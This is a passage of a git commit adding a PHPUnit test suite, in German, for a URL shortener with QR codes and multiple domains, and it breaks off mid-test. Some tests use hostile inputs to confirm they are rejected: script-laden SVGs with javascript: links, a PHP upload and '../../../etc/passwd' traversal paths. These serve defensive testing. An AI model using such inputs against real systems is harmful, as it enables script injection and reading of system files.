test: Testsuite fuer Kernlogik, QR-Codes, Domains und Sicherheit

232 Tests, unter anderem:
- Slug-Erzeugung, Kollisionsbehandlung und Validierung
- URL-Validierung inklusive IDN, Prozentkodierung und abgelehnter
  Protokolle; Punycode gegengeprueft gegen idn_to_ascii
- QR-Erzeugung in allen Groessen, mit Logo und Level-H-Automatik
- Weiterleitung gegen eine echte SQLite-Datenbank samt Domain-
  Aufloesung ueber den Host-Header
- Update einer bestehenden Installation auf mehrere Domains
- Angriffsseitig: gefaelschte Proxy-Header, Host-Header-Injektion,
  SVG mit Skripten, XXE und externen Referenzen
This commit is contained in:
2026-08-03 18:11:40 +02:00
parent 73a9bb09b1
commit 8a7939bee2
14 changed files with 2228 additions and 0 deletions
+89
View File
@@ -0,0 +1,89 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\CheckToken;
use PHPUnit\Framework\TestCase;
final class CheckTokenTest extends TestCase
{
private const SECRET = 'a4f1c0d2e3b4a5968778695a4b3c2d1e0f1a2b3c4d5e6f708192a3b4c5d6e7f8';
public function testFreshTokenIsAccepted(): void
{
$token = CheckToken::create(self::SECRET);
self::assertTrue(CheckToken::isValid($token, self::SECRET));
}
public function testTokenOfAnotherInstallationIsRejected(): void
{
// Genau das beweist die Pruefung: nur wer das Geheimnis kennt,
// kann ein gueltiges Token erzeugen.
$token = CheckToken::create('ein-anderes-geheimnis');
self::assertFalse(CheckToken::isValid($token, self::SECRET));
}
public function testExpiredTokenIsRejected(): void
{
$now = 1_800_000_000;
$token = CheckToken::create(self::SECRET, $now);
self::assertTrue(CheckToken::isValid($token, self::SECRET, $now + CheckToken::LIFETIME - 1));
self::assertFalse(CheckToken::isValid($token, self::SECRET, $now + CheckToken::LIFETIME + 1));
}
public function testTokenFromTheFutureIsRejected(): void
{
$now = 1_800_000_000;
$token = CheckToken::create(self::SECRET, $now + 3600);
self::assertFalse(CheckToken::isValid($token, self::SECRET, $now));
}
/**
* @return array<string,array{0:string}>
*/
public static function malformedProvider(): array
{
return [
'leer' => [''],
'ohne Punkt' => ['1800000000'],
'ohne Signatur' => ['1800000000.'],
'Text statt Zeitstempel' => ['abc.def'],
'nur Signatur' => ['.abcdef'],
'negativer Zeitstempel' => ['-100.abcdef'],
'zu viele Teile' => ['1800000000.abc.def'],
];
}
/**
* @dataProvider malformedProvider
*/
public function testMalformedTokensAreRejected(string $token): void
{
self::assertFalse(CheckToken::isValid($token, self::SECRET));
}
public function testSignatureIsNotGuessable(): void
{
$now = 1_800_000_000;
$valid = CheckToken::create(self::SECRET, $now);
// Signatur um ein Zeichen veraendert.
$tampered = substr($valid, 0, -1) . (str_ends_with($valid, 'a') ? 'b' : 'a');
self::assertNotSame($valid, $tampered);
self::assertFalse(CheckToken::isValid($tampered, self::SECRET, $now));
}
public function testTokenContainsNoSecret(): void
{
$token = CheckToken::create(self::SECRET);
self::assertStringNotContainsString(self::SECRET, $token);
}
}
+48
View File
@@ -0,0 +1,48 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\Color;
use PHPUnit\Framework\TestCase;
final class ColorTest extends TestCase
{
public function testNormalizeHex(): void
{
self::assertSame('#ffffff', Color::normalizeHex('#FFF'));
self::assertSame('#000000', Color::normalizeHex('000000'));
self::assertSame('#2c5cc5', Color::normalizeHex('#2C5CC5'));
self::assertSame('#000000', Color::normalizeHex('keine-farbe'));
self::assertSame('#ffffff', Color::normalizeHex('quatsch', '#ffffff'));
}
public function testContrastRatioExtremes(): void
{
self::assertSame(21.0, Color::contrastRatio('#000000', '#ffffff'));
self::assertSame(1.0, Color::contrastRatio('#123456', '#123456'));
}
public function testWarningForLowContrast(): void
{
self::assertNotNull(Color::qrWarning('#888888', '#999999'));
self::assertNull(Color::qrWarning('#000000', '#ffffff'));
self::assertNull(Color::qrWarning('#0b4f9e', '#ffffff'));
}
public function testWarningForInvertedCodes(): void
{
$warning = Color::qrWarning('#ffffff', '#000000');
self::assertNotNull($warning);
self::assertStringContainsString('invertierte', $warning);
}
public function testToRgb(): void
{
self::assertSame([255, 255, 255], Color::toRgb('#ffffff'));
self::assertSame([44, 92, 197], Color::toRgb('#2c5cc5'));
self::assertSame([0, 0, 0], Color::toRgb('#000'));
}
}
+125
View File
@@ -0,0 +1,125 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Database;
use App\Migrator;
use App\Repository\SettingRepository;
use App\Service\DomainChecker;
use PHPUnit\Framework\TestCase;
/**
* Die vollstaendige Kette (Domain kommt bei dieser Installation an)
* laesst sich nur gegen einen laufenden Server pruefen - das passiert
* im End-to-End-Test. Hier geht es um die Teile, die ohne Netz
* eindeutig sind.
*/
final class DomainCheckerTest extends TestCase
{
private DomainChecker $checker;
private SettingRepository $settings;
protected function setUp(): void
{
$db = Database::sqlite(':memory:');
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
$this->settings = new SettingRepository($db);
$this->checker = new DomainChecker($this->settings);
}
/**
* @param array<string,mixed> $extra
* @return array<string,mixed>
*/
private function domain(string $baseUrl, array $extra = []): array
{
return ['id' => 1, 'base_url' => $baseUrl, 'host' => '', 'is_default' => 0] + $extra;
}
public function testSecretIsStableAcrossCalls(): void
{
$first = $this->settings->secret();
self::assertSame($first, $this->settings->secret());
self::assertGreaterThanOrEqual(32, strlen($first));
}
public function testResultHasTheExpectedShape(): void
{
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
self::assertArrayHasKey('status', $result);
self::assertArrayHasKey('summary', $result);
self::assertArrayHasKey('checks', $result);
self::assertArrayHasKey('hint', $result);
self::assertContains($result['status'], [DomainChecker::OK, DomainChecker::WARNING, DomainChecker::ERROR]);
foreach ($result['checks'] as $check) {
self::assertArrayHasKey('label', $check);
self::assertArrayHasKey('status', $check);
self::assertArrayHasKey('text', $check);
self::assertNotSame('', $check['text']);
}
}
public function testIpAddressNeedsNoDnsEntry(): void
{
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
self::assertSame('DNS', $result['checks'][0]['label']);
self::assertSame(DomainChecker::OK, $result['checks'][0]['status']);
self::assertStringContainsString('kein DNS-Eintrag', $result['checks'][0]['text']);
}
public function testUnreachableDomainIsReportedAsError(): void
{
// Auf Port 1 lauscht nichts.
$result = $this->checker->check($this->domain('http://127.0.0.1:1'));
self::assertSame(DomainChecker::ERROR, $result['status']);
self::assertStringContainsString('nicht auf diese Installation', $result['summary']);
self::assertNotNull($result['hint'], 'Bei Misserfolg muss der Hairpinning-Hinweis erscheinen.');
}
public function testNonResolvableHostFails(): void
{
// ".invalid" ist laut RFC 2606 reserviert und existiert nie.
$result = $this->checker->check($this->domain('https://gibt-es-nicht.invalid'));
self::assertSame(DomainChecker::ERROR, $result['status']);
// Je nach Resolver scheitert schon DNS oder erst der Abruf -
// in beiden Faellen darf die Domain nicht als in Ordnung gelten.
$labels = array_column($result['checks'], 'label');
self::assertContains('DNS', $labels);
}
public function testPortIsStrippedBeforeDnsLookup(): void
{
// Enthielte der Hostname noch den Port, waere die Auflösung
// zwangslaeufig fehlgeschlagen.
$result = $this->checker->check($this->domain('http://localhost:1'));
self::assertSame('DNS', $result['checks'][0]['label']);
self::assertSame(DomainChecker::OK, $result['checks'][0]['status'], $result['checks'][0]['text']);
self::assertStringContainsString('localhost', $result['checks'][0]['text']);
self::assertStringNotContainsString('localhost:1', $result['checks'][0]['text']);
}
public function testCheckDoesNotThrowOnOddInput(): void
{
foreach ([
'http://127.0.0.1:1',
'https://gibt-es-nicht.invalid',
'http://localhost:1/unterverzeichnis',
] as $baseUrl) {
$result = $this->checker->check($this->domain($baseUrl));
self::assertIsArray($result, $baseUrl);
self::assertNotSame('', $result['summary'], $baseUrl);
}
}
}
+190
View File
@@ -0,0 +1,190 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Qr\LogoStore;
use PHPUnit\Framework\TestCase;
use RuntimeException;
final class LogoStoreTest extends TestCase
{
private string $uploadDir;
private string $tmpDir;
protected function setUp(): void
{
$suffix = bin2hex(random_bytes(4));
$this->uploadDir = sys_get_temp_dir() . '/urlshort-uploads-' . $suffix;
$this->tmpDir = sys_get_temp_dir() . '/urlshort-tmp-' . $suffix;
mkdir($this->uploadDir, 0775, true);
mkdir($this->tmpDir, 0775, true);
}
protected function tearDown(): void
{
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
foreach (glob($dir . '/*') ?: [] as $file) {
unlink($file);
}
if (is_dir($dir)) {
rmdir($dir);
}
}
}
private function store(): LogoStore
{
return new LogoStore($this->uploadDir, 1024 * 1024);
}
/**
* @return array<string,mixed>
*/
private function upload(string $name, string $contents): array
{
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
file_put_contents($path, $contents);
return [
'name' => $name,
'tmp_name' => $path,
'size' => strlen($contents),
'error' => UPLOAD_ERR_OK,
];
}
private function validPng(int $width = 64, int $height = 64): string
{
$image = imagecreatetruecolor($width, $height);
self::assertNotFalse($image);
imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, (int) imagecolorallocate($image, 11, 79, 158));
ob_start();
imagepng($image);
$data = (string) ob_get_clean();
imagedestroy($image);
return $data;
}
public function testValidPngIsStoredWithGeneratedName(): void
{
$filename = $this->store()->store($this->upload('mein logo.png', $this->validPng()), 7);
self::assertMatchesRegularExpression('/^logo-7-[a-f0-9]{12}\.png$/', $filename);
self::assertFileExists($this->uploadDir . '/' . $filename);
}
public function testCorruptPngIsRejected(): void
{
// Gueltiger PNG-Header, aber unbrauchbare Bilddaten: getimagesize()
// akzeptiert das, GD kann es nicht dekodieren.
$corrupt = base64_decode(
'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAHUlEQVQoz2NkYPjPQApgYhhVMKpgVMGoglEFpCsAAFXsAQEt4A0oAAAAAElFTkSuQmCC',
true,
);
self::assertIsString($corrupt);
$this->expectException(RuntimeException::class);
$this->expectExceptionMessageMatches('/beschaedigt|gelesen/');
$this->store()->store($this->upload('kaputt.png', $corrupt), 1);
}
public function testOversizedImageIsRejected(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessageMatches('/zu gross/');
$this->store()->store($this->upload('riesig.png', $this->validPng(4200, 10)), 1);
}
public function testNonImageIsRejected(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessageMatches('/Nur PNG, JPG und SVG/');
$this->store()->store($this->upload('schad.php', '<?php echo 1;'), 1);
}
public function testTooLargeFileIsRejected(): void
{
$store = new LogoStore($this->uploadDir, 100);
$this->expectException(RuntimeException::class);
$this->expectExceptionMessageMatches('/hoechstens/');
$store->store($this->upload('gross.png', $this->validPng()), 1);
}
public function testSvgIsStrippedOfScriptsAndHandlers(): void
{
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="alert(1)">'
. '<script>alert(2)</script>'
. '<circle cx="5" cy="5" r="5" fill="#ff0000" onclick="alert(3)"/>'
. '<a href="javascript:alert(4)">x</a>'
. '</svg>';
$filename = $this->store()->store($this->upload('logo.svg', $svg), 3);
$stored = (string) file_get_contents($this->uploadDir . '/' . $filename);
self::assertStringEndsWith('.svg', $filename);
self::assertStringNotContainsString('<script', $stored);
self::assertStringNotContainsString('onload', $stored);
self::assertStringNotContainsString('onclick', $stored);
self::assertStringNotContainsString('javascript:', $stored);
// Der eigentliche Bildinhalt bleibt erhalten.
self::assertStringContainsString('<circle', $stored);
self::assertStringContainsString('#ff0000', $stored);
}
public function testSvgWithoutSvgElementIsRejected(): void
{
$this->expectException(RuntimeException::class);
$this->store()->store($this->upload('fake.svg', 'nur text, kein svg'), 1);
}
public function testPathForIgnoresDirectoryTraversal(): void
{
$store = $this->store();
$store->store($this->upload('logo.png', $this->validPng()), 5);
self::assertNull($store->pathFor('../../../etc/passwd'));
self::assertNull($store->pathFor('..\\..\\windows\\win.ini'));
self::assertNull($store->pathFor(null));
self::assertNull($store->pathFor(''));
}
public function testDeleteRemovesTheFile(): void
{
$store = $this->store();
$filename = $store->store($this->upload('logo.png', $this->validPng()), 9);
self::assertFileExists($this->uploadDir . '/' . $filename);
$store->delete($filename);
self::assertFileDoesNotExist($this->uploadDir . '/' . $filename);
}
public function testIsSvgDetection(): void
{
$store = $this->store();
self::assertTrue($store->isSvg('logo-1-abc.svg'));
self::assertTrue($store->isSvg('LOGO.SVG'));
self::assertFalse($store->isSvg('logo-1-abc.png'));
self::assertFalse($store->isSvg(null));
}
public function testMissingUploadIsReported(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessageMatches('/keine Datei/');
$this->store()->store(['error' => UPLOAD_ERR_NO_FILE], 1);
}
}
+175
View File
@@ -0,0 +1,175 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Database;
use App\Migrator;
use App\Repository\DomainRepository;
use App\Repository\LinkRepository;
use PHPUnit\Framework\TestCase;
/**
* Prueft den Weg einer bereits laufenden Installation auf die Version
* mit mehreren Domains: die links-Tabelle wird dabei in SQLite neu
* aufgebaut - dabei darf nichts verloren gehen.
*/
final class MigrationUpgradeTest extends TestCase
{
private string $partialDir;
protected function setUp(): void
{
// Verzeichnis, das nur die erste Migration enthaelt.
$this->partialDir = sys_get_temp_dir() . '/urlshort-mig-' . bin2hex(random_bytes(4));
mkdir($this->partialDir, 0775, true);
copy(dirname(__DIR__) . '/migrations/001_initial.php', $this->partialDir . '/001_initial.php');
}
protected function tearDown(): void
{
foreach (glob($this->partialDir . '/*') ?: [] as $file) {
unlink($file);
}
if (is_dir($this->partialDir)) {
rmdir($this->partialDir);
}
}
public function testUpgradeKeepsAllDataAndBackfillsTheDefaultDomain(): void
{
$db = Database::sqlite(':memory:');
// --- Stand vor dem Update -------------------------------------
$applied = (new Migrator($db, $this->partialDir))->migrate();
self::assertSame(['001_initial'], $applied);
$now = gmdate('Y-m-d H:i:s');
$db->execute(
'INSERT INTO links (slug, target_url, title, is_active, click_count, last_clicked_at, created_at, updated_at)
VALUES (?, ?, ?, 1, 42, ?, ?, ?)',
['messe2026', 'https://www.beispiel.de/messe', 'Messe-Flyer', $now, $now, $now],
);
$linkId = $db->lastInsertId();
$db->execute(
'INSERT INTO links (slug, target_url, title, is_active, click_count, created_at, updated_at)
VALUES (?, ?, NULL, 0, 7, ?, ?)',
['pausiert', 'https://www.beispiel.de/alt', $now, $now],
);
$inactiveId = $db->lastInsertId();
$db->execute(
'INSERT INTO visits (link_id, visited_at, referrer_host, user_agent, device_type, browser, platform)
VALUES (?, ?, ?, ?, ?, ?, ?)',
[$linkId, $now, 'google.de', 'Mozilla/5.0', 'mobile', 'Safari', 'iOS'],
);
$db->execute(
'INSERT INTO qr_designs (link_id, foreground_color, background_color, size, margin, error_correction, logo_scale, logo_punchout, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, 1, ?)',
[$linkId, '#0b4f9e', '#ffffff', 1024, 6, 'Q', 22, $now],
);
// --- Update ---------------------------------------------------
$applied = (new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
self::assertSame(['002_domains'], $applied, 'Nur die neue Migration darf laufen.');
// --- Bestand pruefen ------------------------------------------
$links = new LinkRepository($db);
$link = $links->find($linkId);
self::assertNotNull($link, 'Der Bestandslink muss erhalten bleiben.');
self::assertSame('messe2026', $link['slug']);
self::assertSame('https://www.beispiel.de/messe', $link['target_url']);
self::assertSame('Messe-Flyer', $link['title']);
self::assertSame(42, (int) $link['click_count']);
self::assertSame(1, (int) $link['is_active']);
self::assertNotNull($link['last_clicked_at']);
$inactive = $links->find($inactiveId);
self::assertNotNull($inactive);
self::assertSame(0, (int) $inactive['is_active']);
self::assertSame(7, (int) $inactive['click_count']);
// Verknuepfte Daten haengen weiterhin an derselben ID.
self::assertSame(1, (int) $db->fetchValue('SELECT COUNT(*) FROM visits WHERE link_id = ?', [$linkId]));
self::assertSame(1, (int) $db->fetchValue('SELECT COUNT(*) FROM qr_designs WHERE link_id = ?', [$linkId]));
// Vor der Zuordnung tragen Bestandslinks den Platzhalter 0.
self::assertSame(DomainRepository::UNASSIGNED, (int) $link['domain_id']);
// --- Standarddomain anlegen und nachtragen --------------------
$domains = new DomainRepository($db);
$domain = $domains->defaultDomain('https://short.example.de');
$domainId = (int) $domain['id'];
self::assertSame('short.example.de', $domain['host']);
foreach ([$linkId, $inactiveId] as $id) {
self::assertSame($domainId, (int) $links->find($id)['domain_id']);
}
self::assertSame(
'https://short.example.de/messe2026',
LinkRepository::shortUrlOf($links->find($linkId), 'https://short.example.de'),
);
}
public function testUpgradeReplacesTheGlobalSlugUniquenessWithPerDomain(): void
{
$db = Database::sqlite(':memory:');
(new Migrator($db, $this->partialDir))->migrate();
$now = gmdate('Y-m-d H:i:s');
$db->execute(
'INSERT INTO links (slug, target_url, is_active, click_count, created_at, updated_at)
VALUES (?, ?, 1, 0, ?, ?)',
['messe', 'https://www.beispiel.de/a', $now, $now],
);
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
$domains = new DomainRepository($db);
$links = new LinkRepository($db);
$defaultId = (int) $domains->defaultDomain('https://short.example.de')['id'];
$qrId = $domains->create('https://qr.example.de', null, false);
// Derselbe Slug auf einer anderen Domain ist jetzt erlaubt ...
$links->create($qrId, 'messe', 'https://www.beispiel.de/b');
self::assertTrue($links->slugExists('messe', $qrId));
// ... auf derselben Domain aber weiterhin nicht.
$this->expectException(\PDOException::class);
$links->create($defaultId, 'messe', 'https://www.beispiel.de/c');
}
public function testUpgradedDatabaseStillHasAllTablesAndIndexes(): void
{
$db = Database::sqlite(':memory:');
(new Migrator($db, $this->partialDir))->migrate();
(new Migrator($db, dirname(__DIR__) . '/migrations'))->migrate();
$tables = array_column(
$db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name"),
'name',
);
foreach (['links', 'visits', 'qr_designs', 'settings', 'login_attempts', 'domains', 'migrations'] as $table) {
self::assertContains($table, $tables);
}
// Die Hilfstabelle des Umbaus darf nicht zurueckbleiben.
self::assertNotContains('links_new', $tables);
$indexes = array_column(
$db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'index' AND tbl_name = 'links'"),
'name',
);
self::assertContains('idx_links_created_at', $indexes);
self::assertContains('idx_links_domain', $indexes);
}
}
+100
View File
@@ -0,0 +1,100 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\Punycode;
use PHPUnit\Framework\TestCase;
final class PunycodeTest extends TestCase
{
public function testAsciiHostsBleibenUnveraendert(): void
{
foreach (['example.com', 'sub.domain.co.uk', 'intranet', 'xn--mller-kva.de', ''] as $host) {
self::assertSame($host, Punycode::encodeDomain($host));
}
}
public function testIsAscii(): void
{
self::assertTrue(Punycode::isAscii('example.com'));
self::assertTrue(Punycode::isAscii(''));
self::assertFalse(Punycode::isAscii('müller.de'));
self::assertFalse(Punycode::isAscii('日本語.jp'));
}
/**
* @return array<string,array{0:string,1:string}>
*/
public static function domainProvider(): array
{
return [
'muellerde' => ['müller.de', 'xn--mller-kva.de'],
'buecherde' => ['bücher.de', 'xn--bcher-kva.de'],
'muenchende' => ['münchen.de', 'xn--mnchen-3ya.de'],
'nur ein Label' => ['münchen', 'xn--mnchen-3ya'],
'mehrere Umlaute' => ['grüße.example.com', 'xn--gre-6ka8l.example.com'],
'Subdomain umlautfrei' => ['www.müller.de', 'www.xn--mller-kva.de'],
];
}
/**
* @dataProvider domainProvider
*/
public function testEncodeDomain(string $unicode, string $expected): void
{
self::assertSame($expected, Punycode::encodeDomain($unicode));
}
/**
* Die eigene Implementierung muss dasselbe Ergebnis liefern wie die
* Referenz aus ext-intl. Ohne intl entfaellt die Gegenprobe.
*/
public function testStimmtMitIntlUeberein(): void
{
if (!function_exists('idn_to_ascii')) {
self::markTestSkipped('ext-intl ist nicht verfuegbar.');
}
$domains = [
'müller.de',
'bücher.de',
'münchen.de',
'grüße.example.com',
'www.müller.de',
'österreich.at',
'köln.de',
'schöne-grüße.de',
'日本語.jp',
'мосва.рф',
'ελλάδα.gr',
];
foreach ($domains as $domain) {
$reference = idn_to_ascii($domain, IDNA_DEFAULT, INTL_IDNA_VARIANT_UTS46);
self::assertIsString($reference, $domain);
// Die eigene Implementierung direkt aufrufen, nicht den
// intl-Weg innerhalb von encodeDomain().
self::assertSame($reference, self::encodeWithoutIntl($domain), $domain);
}
}
/**
* Ruft den Rueckfallweg ueber Reflection auf, damit die Gegenprobe
* nicht wieder bei idn_to_ascii landet.
*/
private static function encodeWithoutIntl(string $host): string
{
$method = new \ReflectionMethod(Punycode::class, 'encodeLabel');
$method->setAccessible(true);
$labels = array_map(
static fn (string $label): string => (string) $method->invoke(null, $label),
explode('.', $host),
);
return implode('.', $labels);
}
}
+164
View File
@@ -0,0 +1,164 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Qr\LogoStore;
use App\Qr\QrOptions;
use App\Qr\QrRenderer;
use PHPUnit\Framework\TestCase;
final class QrRendererTest extends TestCase
{
private string $uploadDir;
protected function setUp(): void
{
$this->uploadDir = sys_get_temp_dir() . '/urlshort-test-' . bin2hex(random_bytes(4));
mkdir($this->uploadDir, 0775, true);
}
protected function tearDown(): void
{
foreach (glob($this->uploadDir . '/*') ?: [] as $file) {
unlink($file);
}
if (is_dir($this->uploadDir)) {
rmdir($this->uploadDir);
}
}
private function renderer(): QrRenderer
{
return new QrRenderer(new LogoStore($this->uploadDir));
}
public function testPngIsGeneratedInRequestedSize(): void
{
$png = $this->renderer()->png('https://kurz.test/messe2026', new QrOptions(size: 512, margin: 4));
self::assertStringStartsWith("\x89PNG", $png);
$info = getimagesizefromstring($png);
self::assertIsArray($info);
self::assertSame(512, $info[0]);
self::assertSame(512, $info[1]);
}
/**
* @dataProvider sizeProvider
*/
public function testAllOfferedSizesWork(int $size): void
{
$info = getimagesizefromstring(
$this->renderer()->png('https://kurz.test/abc', new QrOptions(size: $size)),
);
self::assertIsArray($info);
self::assertSame($size, $info[0]);
}
/**
* @return list<array{0:int}>
*/
public static function sizeProvider(): array
{
return array_map(static fn (int $size): array => [$size], QrOptions::SIZES);
}
public function testSvgIsVectorAndCarriesTheColors(): void
{
$svg = $this->renderer()->svg(
'https://kurz.test/messe2026',
new QrOptions(foreground: '#0b4f9e', background: '#fff7ed', size: 1024),
);
self::assertStringContainsString('<svg', $svg);
self::assertStringContainsString('viewBox', $svg);
self::assertStringContainsString('#0b4f9e', $svg);
self::assertStringContainsString('#fff7ed', $svg);
// Vektor statt eingebetteter Pixelgrafik.
self::assertStringNotContainsString('data:image/png', $svg);
}
public function testMarginZeroProducesSmallerQuietZoneThanMarginTen(): void
{
$data = 'https://kurz.test/abc';
$withoutMargin = $this->renderer()->png($data, new QrOptions(size: 512, margin: 0));
$withMargin = $this->renderer()->png($data, new QrOptions(size: 512, margin: 10));
// Beide behalten die Zielgroesse ...
self::assertSame(512, (getimagesizefromstring($withoutMargin) ?: [0])[0]);
self::assertSame(512, (getimagesizefromstring($withMargin) ?: [0])[0]);
// ... unterscheiden sich aber im Bildinhalt.
self::assertNotSame($withoutMargin, $withMargin);
}
public function testLogoForcesErrorCorrectionLevelH(): void
{
$logo = $this->uploadDir . '/logo.png';
$this->writePngLogo($logo);
$options = (new QrOptions(errorCorrection: 'L'))->withLogoPath('logo.png');
self::assertSame('H', $options->errorCorrection);
$png = $this->renderer()->png('https://kurz.test/mitlogo', $options);
self::assertStringStartsWith("\x89PNG", $png);
}
public function testSvgLogoIsEmbeddedInSvgOutput(): void
{
file_put_contents(
$this->uploadDir . '/logo.svg',
'<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
. '<circle cx="5" cy="5" r="5" fill="#ff0000"/></svg>',
);
$svg = $this->renderer()->svg(
'https://kurz.test/mitlogo',
(new QrOptions())->withLogoPath('logo.svg'),
);
self::assertStringContainsString('<image', $svg);
self::assertStringContainsString('data:image/svg+xml;base64,', $svg);
}
public function testDifferentColorsProduceDifferentImages(): void
{
$data = 'https://kurz.test/farben';
self::assertNotSame(
$this->renderer()->png($data, new QrOptions(foreground: '#000000')),
$this->renderer()->png($data, new QrOptions(foreground: '#0b4f9e')),
);
}
public function testOptionsAreClampedToValidRanges(): void
{
$options = new QrOptions(
foreground: 'unsinn',
size: 999,
margin: 99,
errorCorrection: 'X',
logoScale: 500,
);
self::assertSame('#000000', $options->foreground);
self::assertSame(512, $options->size);
self::assertSame(QrOptions::MAX_MARGIN, $options->margin);
self::assertSame('M', $options->errorCorrection);
self::assertSame(QrOptions::MAX_LOGO_SCALE, $options->logoScale);
}
private function writePngLogo(string $path): void
{
$image = imagecreatetruecolor(120, 120);
self::assertNotFalse($image);
imagefill($image, 0, 0, (int) imagecolorallocate($image, 255, 0, 0));
imagepng($image, $path);
imagedestroy($image);
}
}
+407
View File
@@ -0,0 +1,407 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Config;
use App\Controller\RedirectController;
use App\Database;
use App\Http\Request;
use App\Migrator;
use App\Repository\DomainRepository;
use App\Repository\LinkRepository;
use App\Repository\VisitRepository;
use App\View;
use PHPUnit\Framework\TestCase;
/**
* Integrationstest der Weiterleitung gegen eine echte SQLite-Datenbank
* im Arbeitsspeicher.
*/
final class RedirectTest extends TestCase
{
private const BASE_URL = 'https://short.example.de';
private Database $db;
private LinkRepository $links;
private VisitRepository $visits;
private DomainRepository $domains;
private string $rootDir;
private int $defaultDomainId;
protected function setUp(): void
{
$this->rootDir = dirname(__DIR__);
$this->db = Database::sqlite(':memory:');
(new Migrator($this->db, $this->rootDir . '/migrations'))->migrate();
$this->links = new LinkRepository($this->db);
$this->visits = new VisitRepository($this->db);
$this->domains = new DomainRepository($this->db);
$this->defaultDomainId = (int) $this->domains->defaultDomain(self::BASE_URL)['id'];
}
public function testMigrationsCreateAllTables(): void
{
$tables = array_column(
$this->db->fetchAll("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name"),
'name',
);
foreach (['links', 'visits', 'qr_designs', 'settings', 'login_attempts', 'domains', 'migrations'] as $table) {
self::assertContains($table, $tables);
}
}
public function testMigrationsAreIdempotent(): void
{
$applied = (new Migrator($this->db, $this->rootDir . '/migrations'))->migrate();
self::assertSame([], $applied, 'Ein zweiter Lauf darf nichts erneut anwenden.');
}
public function testDefaultDomainIsDerivedFromBaseUrl(): void
{
$domain = $this->domains->defaultDomain(self::BASE_URL);
self::assertSame('short.example.de', $domain['host']);
self::assertSame(self::BASE_URL, $domain['base_url']);
self::assertSame(1, (int) $domain['is_default']);
self::assertSame(1, $this->domains->count(), 'Die Standarddomain darf nur einmal angelegt werden.');
}
public function testExistingLinksAreAssignedToTheDefaultDomain(): void
{
// Zustand nach der Migration: Bestandslink ohne Domain.
$this->db->execute(
'INSERT INTO links (domain_id, slug, target_url, is_active, click_count, created_at, updated_at)
VALUES (0, ?, ?, 1, 0, ?, ?)',
['bestand', 'https://www.beispiel.de/alt', gmdate('Y-m-d H:i:s'), gmdate('Y-m-d H:i:s')],
);
// Frische Datenbank simulieren, in der noch keine Domain existiert.
$this->db->execute('DELETE FROM domains');
$domainId = (int) $this->domains->defaultDomain(self::BASE_URL)['id'];
$link = $this->db->fetchOne('SELECT * FROM links WHERE slug = ?', ['bestand']);
self::assertNotNull($link);
self::assertSame($domainId, (int) $link['domain_id']);
}
public function testKnownSlugRedirectsWithConfiguredStatus(): void
{
$this->links->create($this->defaultDomainId, 'messe2026', 'https://www.beispiel.de/messe');
$response = $this->controller(['REDIRECT_STATUS' => '302'])
->handle($this->request('/messe2026'), ['slug' => 'messe2026']);
self::assertSame(302, $response->status());
self::assertSame('https://www.beispiel.de/messe', $response->headers()['Location']);
self::assertStringContainsString('no-store', $response->headers()['Cache-Control']);
}
public function testRedirectStatusIsConfigurable(): void
{
$this->links->create($this->defaultDomainId, 'dauerhaft', 'https://www.beispiel.de/');
$response = $this->controller(['REDIRECT_STATUS' => '301'])
->handle($this->request('/dauerhaft'), ['slug' => 'dauerhaft']);
self::assertSame(301, $response->status());
}
public function testInvalidRedirectStatusFallsBackTo302(): void
{
$this->links->create($this->defaultDomainId, 'krumm', 'https://www.beispiel.de/');
$response = $this->controller(['REDIRECT_STATUS' => '418'])
->handle($this->request('/krumm'), ['slug' => 'krumm']);
self::assertSame(302, $response->status());
}
public function testUnknownSlugRendersFriendly404(): void
{
$response = $this->controller()->handle($this->request('/gibtesnicht'), ['slug' => 'gibtesnicht']);
self::assertSame(404, $response->status());
self::assertArrayNotHasKey('Location', $response->headers());
self::assertStringContainsString('404', $response->body());
self::assertStringContainsString('gibtesnicht', $response->body());
}
public function testInactiveLinkIsNotRedirected(): void
{
$id = $this->links->create($this->defaultDomainId, 'pausiert', 'https://www.beispiel.de/');
$this->links->setActive($id, false);
$response = $this->controller()->handle($this->request('/pausiert'), ['slug' => 'pausiert']);
self::assertSame(404, $response->status());
}
// --- Mehrere Domains ---------------------------------------------
public function testSameSlugOnTwoDomainsLeadsToDifferentTargets(): void
{
$qrId = $this->domains->create('https://qr.example.de', 'QR-Codes', false);
$this->links->create($this->defaultDomainId, 'messe', 'https://www.beispiel.de/kurzlink-ziel');
$this->links->create($qrId, 'messe', 'https://www.beispiel.de/qr-ziel');
$viaShort = $this->controller()->handle(
$this->request('/messe', host: 'short.example.de'),
['slug' => 'messe'],
);
$viaQr = $this->controller()->handle(
$this->request('/messe', host: 'qr.example.de'),
['slug' => 'messe'],
);
self::assertSame('https://www.beispiel.de/kurzlink-ziel', $viaShort->headers()['Location']);
self::assertSame('https://www.beispiel.de/qr-ziel', $viaQr->headers()['Location']);
}
public function testSlugOfAnotherDomainIsNotReachable(): void
{
$qrId = $this->domains->create('https://qr.example.de', null, false);
$this->links->create($qrId, 'nur-qr', 'https://www.beispiel.de/');
